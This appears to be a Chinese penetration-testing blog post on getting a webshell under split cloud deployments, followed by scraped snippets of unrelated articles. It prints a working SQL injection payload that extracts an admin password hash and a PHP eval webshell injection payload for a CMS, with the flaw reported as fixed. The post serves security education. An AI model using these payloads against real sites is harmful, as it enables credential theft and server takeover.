新的部署架构之下,如何拿shell?
和朋友聊起一个话题,服务器部署架构升级对安全的影响。从最简单的一台服务器,到应用、数据库、文件服务器分离;从本地机房服务器到云服务器产品矩阵;从虚拟化到容器化部署,一直在往更安全的方向改变。
本文试图构建这样场景,源码放在ECS,数据库放RDS,非结构化数据存储放HDFS。常规的getshell手段,如SQL注入写入文件,任意文件上传,文件包含等似乎已不再好使。这种情况,如何突破系统的部署架构,来获取网站的webshell呢?
实战思路:黑盒渗透测试+白盒代码审计
在进行信息收集的时候,找到网站管理后台,查看登录界面网页源代码,获知该系统可能由某CMS二次开发。进一步下载开源CMS源代码进行代码审计,从前台sql注入到后台getshell。
某CMS演示站点漏洞利用过程:
1、利用前台SQL注入漏洞,搜索处填入Pyload:
keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

将md5值:21232f297a57a5a743894a0e4a801fc3 解密为admin
使用弱口令admin/admin成功登陆后台。
2、 登陆后台,在Home设置—专题管理—创建专题—专题名称处填写Payload:test111',eval($_POST[g]),//

3、访问webshell地址:

PS:本文所引用案例,安全漏洞于2018.11提交官方,目前已修复。
技术架构上的升级,它可以很大程度地降低一些安全风险,黑盒渗透的漏洞利用难度无疑会增大。目前,比较流行的微服务架构,会有越来越多的系统使用场景,而这也是一个很大的挑战,你以为你拿到了整个系统的权限,其实你触及的可能是系统中的某个服务。
很喜欢这样一句话,简短有启发:细节中发现漏洞,架构上解决问题,流程中控制风险。
新的部署架构之下,如何拿shell?的更多相关文章
- FileNet P8 Content Engine 的分布式部署架构
摘抄笔记:http://www.ibm.com/developerworks/cn/data/library/techarticle/dm-1307wanghaining/ 前言 对于集团公司,企业内 ...
- 分布式实时日志分析解决方案ELK部署架构
一.概述 ELK 已经成为目前最流行的集中式日志解决方案,它主要是由Beats.Logstash.Elasticsearch.Kibana等组件组成,来共同完成实时日志的收集,存储,展示等一站式的解决 ...
- 【入门】广电行业DNS、DHCP解决方案详解(三)——DNS部署架构及案
[入门]广电行业DNS.DHCP解决方案详解(三)——DNS部署架构及案 DNS系统部署架构 宽带业务DNS架构 互动业务DNS架构 案例介绍 案例一 案例二 本篇我们将先介绍DNS系统部署架构体系, ...
- 【JMicro】微服务部署架构及实例
序言 JMicro是一个用Java语言实现的开源微服务全家桶,源码地址:https://github.com/mynewworldyyl/jmicro,Demo地址:http://124.70.152 ...
- IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构(转载)
IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构 系列文章链接: IIS负载均衡-Application Request Route详解第一篇: ...
- Azure环境中Nginx高可用性和部署架构设计
前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...
- Nginx技术研究系列7-Azure环境中Nginx高可用性和部署架构设计
前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...
- [转帖]VMware Vsphere 6.0安装部署 (一) 总体部署架构
(一)总体部署架构本教程用于学习目的,力求详尽的介绍安装部署过程和各组件之间的关系,部署过程从最简单的模型开始,系列文章按时间顺序依次展开,每篇介绍一个组件. 开始阶段,按照一台物理服务器,部署所有V ...
- 免费开源《OdooERP系统部署架构指南》试读:第一章 Odoo架构概述
文/开源智造联合创始人老杨 本文来自<OdooERP系统部署架构指南>的试读章节.书籍尚未出版,请勿转载.欢迎您反馈阅读意见. 从web浏览器到PostgreSQL,多层与其他层交互以处理 ...
随机推荐
- Linux nodejs 安装以及配置环境
从官网中下载nodejs 打开官网 https://nodejs.org/en/download/ 复制拿到链接,下载nodejs wget https://nodejs.org/dist/v10.1 ...
- Android实用的Toast工具类封装
Toast这个提示框大家都晓得,显示一段时间后自动消失,不能获得焦点.但是在使用中有些问题: 1)需要弹出一个新的Toast时,上一个Toast还没有显示完2)可能重复弹出相同的信息3)Toast具体 ...
- python学习3-python views.py的返回值
2.首先要说明一点是,对于HttpRequest对象来说,是Django自己创建的,但是HttpResponse就必须要我们自己创建.注意每个view方法都必须返回一个HttpResponse对象,H ...
- windows elasticsearch使用ik分词器插件后启动报错java.security.AccessControlException: access denied ("java.io.FilePermission" "D:...........\plugins\ik-analyzer\config\IKAnalyzer.cfg.xml" "read")
删除es安装文件夹中空格,遂解决......(哭
- 基本运算符,流程控制if、while
基本运算符 算术运算符 运算符 描述 实例 + 加 a + b - 减 a - b * 乘 a * b / 除 a / b % 取余 a % b // 整除 a // b ** 幂运算 a ** b ...
- Windows 2003 IIS6.0下配置ASP+MySQL+PHP+ISAPI_Rewrite+Zend+Xcache
windows 2003,自己买吧... 安装IIS6.0:安装系统后在"控制面板"->"添加或删除程序"->"添加/删除Windows组 ...
- 3-11 group操作拓展
In [1]: import pandas as pd import numpy as np df=pd.DataFrame({'A':['foo','bar','foo','bar', 'foo', ...
- 【MySQL高可用架构设计】(一)-- mysql复制功能介绍
一. 介绍 Mysql的复制功能是构建基于SQL数据库的大规模高性能应用的基础,主要用于分担主数据库的读负载,同时也为高可用.灾难恢复.备份等工作提供了更多的选择. 二.为什么要使用mysql复制功能 ...
- Rust中的迭代器
和闭包一样,练代码 struct Counter { count: u32, } impl Counter { fn new() -> Counter { Counter {count: } } ...
- 201871010106-丁宣元 《面向对象程序设计(java)》第十三周学习总结
201871010106-丁宣元 <面向对象程序设计(java)>第十三周学习总结 正文开头: 项目 内容 这个作业属于哪个课程 https://home.cnblogs.com/u/nw ...